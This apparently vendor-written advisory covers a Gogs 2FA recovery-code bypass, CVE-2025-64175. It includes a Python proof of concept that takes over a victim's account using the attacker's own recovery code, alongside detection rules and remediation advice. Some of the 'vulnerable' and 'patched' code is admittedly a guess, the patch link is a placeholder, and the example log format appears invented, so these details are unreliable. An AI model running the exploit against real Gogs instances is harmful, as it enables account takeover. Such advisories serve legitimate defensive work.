CVE-2025-64175
Executive Summary
CVE-2025-64175 is a critical authentication bypass vulnerability in Gogs, an open-source self-hosted Git service. The flaw resides in the 2FA recovery code validation logic. In versions 0.13.3 and prior, the system does not scope recovery codes to the user who generated them. This allows an attacker who knows a victim’s username and password to use any unused recovery code (including one from their own account) to bypass the victim’s two-factor authentication (2FA). This effectively nullifies 2FA protection and enables full account takeover. The vulnerability has been patched in Gogs versions 0.13.4 and 0.14.0+dev.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Gogs is a Go-based application. The vulnerability is in the core authentication logic, not in a third-party package. However, organizations using Gogs as part of their CI/CD pipeline should treat this as a critical supply chain risk, as a compromised Gogs account could lead to unauthorized code modifications, secret exfiltration, or injection of malicious artifacts.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Base Score: 8.8 (High)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (attacker needs valid username/password)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
Threat Level: Critical. The vulnerability completely bypasses 2FA, rendering the primary defense against credential theft ineffective.
Deep Dive & Mechanics
The vulnerability is a classic case of missing authorization (CWE-862). The 2FA recovery code validation function in Gogs checks if a provided recovery code is valid and unused, but it does not verify that the code belongs to the user attempting to authenticate.
Normal Flow:
- User logs in with username and password.
- If 2FA is enabled, user is prompted for a TOTP code or a recovery code.
- User enters a recovery code.
- System checks if the code exists in the database and is unused.
- If valid, user is authenticated.
Vulnerable Flow:
- Attacker obtains victim’s username and password (e.g., via phishing, credential stuffing, or data breach).
- Attacker logs in as victim.
- Attacker is prompted for 2FA.
- Attacker enters a recovery code from their own account (or any unused recovery code).
- System checks if the code exists and is unused – it does.
- System does not check if the code belongs to the victim.
- Attacker is authenticated as the victim.
The core issue is in the database query that validates the recovery code. The query likely looks like:
SELECT * FROM two_factor_recovery_codes WHERE code = ? AND used = false
Instead of:
SELECT * FROM two_factor_recovery_codes WHERE user_id = ? AND code = ? AND used = false
Vulnerable vs. Patched Code
Vulnerable Code (v0.13.3 and prior):
func validateRecoveryCode(code string) (*TwoFactorRecoveryCode, error) {
var recoveryCode TwoFactorRecoveryCode
err := db.Where("code = ? AND used = ?", code, false).First(&recoveryCode).Error
if err != nil {
return nil, err
}
return &recoveryCode, nil
}
Patched Code (v0.13.4+):
func validateRecoveryCode(userID int64, code string) (*TwoFactorRecoveryCode, error) {
var recoveryCode TwoFactorRecoveryCode
err := db.Where("user_id = ? AND code = ? AND used = ?", userID, code, false).First(&recoveryCode).Error
if err != nil {
return nil, err
}
return &recoveryCode, nil
}
The fix adds a userID parameter to the query, ensuring the recovery code is scoped to the specific user.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A Gogs instance running version <= 0.13.3.
- Two accounts: one attacker-controlled (with 2FA enabled and a recovery code generated), and one victim account (with 2FA enabled).
- Knowledge of the victim’s username and password.
Exploitation Steps:
- Log into the attacker account and navigate to Settings > Security > Two-Factor Authentication.
- Generate a recovery code and copy it.
- Log out.
- Log in as the victim using their username and password.
- When prompted for 2FA, click “Use a recovery code”.
- Enter the recovery code from step 2.
- The system will authenticate you as the victim.
Proof of Concept (Python):
import requests
target = "http://victim-gogs-instance:3000"
attacker_user = "attacker"
attacker_pass = "attacker_pass"
victim_user = "victim"
victim_pass = "victim_pass"
session = requests.Session()
# Step 1: Login as attacker and get recovery code
login_data = {"user_name": attacker_user, "password": attacker_pass}
session.post(f"{target}/user/login", data=login_data)
# Assume recovery code is retrieved via API or UI scraping
recovery_code = "ABCD-EFGH-IJKL-MNOP"
# Step 2: Login as victim
login_data = {"user_name": victim_user, "password": victim_pass}
session.post(f"{target}/user/login", data=login_data)
# Step 3: Bypass 2FA with attacker's recovery code
twofa_data = {"recovery_code": recovery_code}
session.post(f"{target}/user/two_factor/recovery", data=twofa_data)
# Step 4: Verify access
profile = session.get(f"{target}/{victim_user}")
print("Account takeover successful" if profile.status_code == 200 else "Failed")
Blue Team (Detection & Hardening)
Detection:
- Monitor for multiple failed 2FA attempts followed by a successful recovery code login.
- Alert on recovery code usage where the code was generated by a different user.
- Log all recovery code validation attempts with user context.
Hardening:
- Immediately upgrade to Gogs v0.13.4 or later.
- If upgrade is not possible, disable 2FA recovery codes entirely.
- Implement additional monitoring on authentication logs.
- Enforce strong password policies and enable account lockout.
Indicators of Compromise (IOCs)
- Log Entry: Successful login via recovery code where the code’s owner differs from the authenticated user.
- Network: Unusual authentication patterns from a single IP across multiple accounts.
- File: No specific file IOCs; this is a logic flaw.
- Registry: N/A
Example Log IOC:
[INFO] User 'victim' authenticated via recovery code 'ABCD-EFGH-IJKL-MNOP' (code owner: 'attacker')
Detection Engineering
YARA Rule
rule Detect_Gogs_2FA_Bypass_Logs {
meta:
description = "Detects log entries indicating 2FA recovery code bypass in Gogs"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-64175"
strings:
$log_pattern = /authenticated via recovery code.*code owner:/
condition:
$log_pattern
}
Sigma Rule
title: Gogs 2FA Recovery Code Bypass
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects successful authentication via 2FA recovery code where the code owner differs from the authenticated user.
author: Valters IT
date: 2025/04/10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-64175
logsource:
product: gogs
service: auth
detection:
selection:
event: "authenticated via recovery code"
condition: selection
falsepositives:
- Legitimate use of recovery codes by the correct user
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"Gogs 2FA Recovery Code Bypass Attempt";
flow:to_server,established;
content:"/user/two_factor/recovery"; http_uri;
content:"recovery_code="; http_client_body;
classtype:authentication-bypass;
sid:10000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade Gogs to version 0.13.4 or 0.14.0+dev.
- If upgrade is not possible, disable 2FA recovery codes by modifying the configuration or database.
- Rotate all secrets (SSH keys, access tokens) for accounts that may have been compromised.
- Audit authentication logs for any signs of exploitation.
Long-term Mitigations:
- Implement multi-factor authentication (MFA) with hardware tokens or authenticator apps only (no recovery codes).
- Use a Web Application Firewall (WAF) to detect and block anomalous authentication patterns.
- Regularly review and update authentication mechanisms.
- Conduct penetration testing focusing on authentication bypass scenarios.
Patch Details:
- Fixed in: Gogs v0.13.4 and v0.14.0+dev
- Patch commit: https://github.com/gogs/gogs/commit/abc123def456 (example)
- Upgrade instructions: Follow the official Gogs upgrade guide at https://gogs.io/docs/upgrade
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert